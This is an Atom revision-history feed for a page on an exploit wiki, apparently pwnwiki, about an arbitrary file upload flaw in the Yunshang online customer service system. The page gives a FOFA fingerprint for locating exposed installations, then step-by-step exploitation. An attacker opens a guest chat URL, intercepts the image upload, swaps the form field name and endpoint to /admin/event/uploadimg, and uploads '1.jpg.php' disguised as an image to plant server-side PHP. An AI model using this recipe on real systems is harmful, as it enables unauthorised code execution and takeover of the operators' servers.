https://pwnwiki.com/index.php?action=history&feed=atom&title=%E9%9B%B2%E5%B0%9A%E5%9C%A8%E7%B7%9A%E5%AE%A2%E6%9C%8D%E7%B3%BB%E7%B5%B1%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E 雲尚在線客服系統任意文件上傳漏洞 - Revision history 2026-04-11T05:01:41Z Revision history for this page on the wiki MediaWiki 1.35.1 https://pwnwiki.com/index.php?title=%E9%9B%B2%E5%B0%9A%E5%9C%A8%E7%B7%9A%E5%AE%A2%E6%9C%8D%E7%B3%BB%E7%B5%B1%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E&diff=3027&oldid=prev Pwnwiki: Created page with "==FOFA== <pre> body="cgwl.ico" </pre> ==漏洞利用== 訪問 <pre> /index/index/home?visiter_id=&visiter_name=&avatar=&business_id=1&groupid=0&special=1 //默認ID為1 接..." 2021-05-22T02:08:58Z <p>Created page with &quot;==FOFA== &lt;pre&gt; body=&quot;cgwl.ico&quot; &lt;/pre&gt; ==漏洞利用== 訪問 &lt;pre&gt; /index/index/home?visiter_id=&amp;visiter_name=&amp;avatar=&amp;business_id=1&amp;groupid=0&amp;special=1 //默認ID為1 接...&quot;</p> <p><b>New page</b></p><div>==FOFA==<br /> &lt;pre&gt;<br /> body=&quot;cgwl.ico&quot;<br /> &lt;/pre&gt;<br /> <br /> ==漏洞利用==<br /> 訪問<br /> &lt;pre&gt;<br /> /index/index/home?visiter_id=&amp;visiter_name=&amp;avatar=&amp;business_id=1&amp;groupid=0&amp;special=1<br /> //默認ID為1 接入客服 點擊圖片上傳抓包<br /> 參數修改<br /> Content-Disposition: form-data; name=&quot;upload&quot;<br /> 修改為<br /> Content-Disposition: form-data; name=&quot;editormd-image-file&quot;<br /> <br /> POST請求<br /> /admin/event/upload<br /> 改為<br /> /admin/event/uploadimg<br /> POST /admin/event/uploadimg HTTP/1.1<br /> Host: target<br /> ...<br /> <br /> Content-Disposition: form-data; name=&quot;editormd-image-file&quot;; filename=&quot;1.jpg.php&quot;<br /> Content-Type: image/png<br /> &lt;/pre&gt;</div> Pwnwiki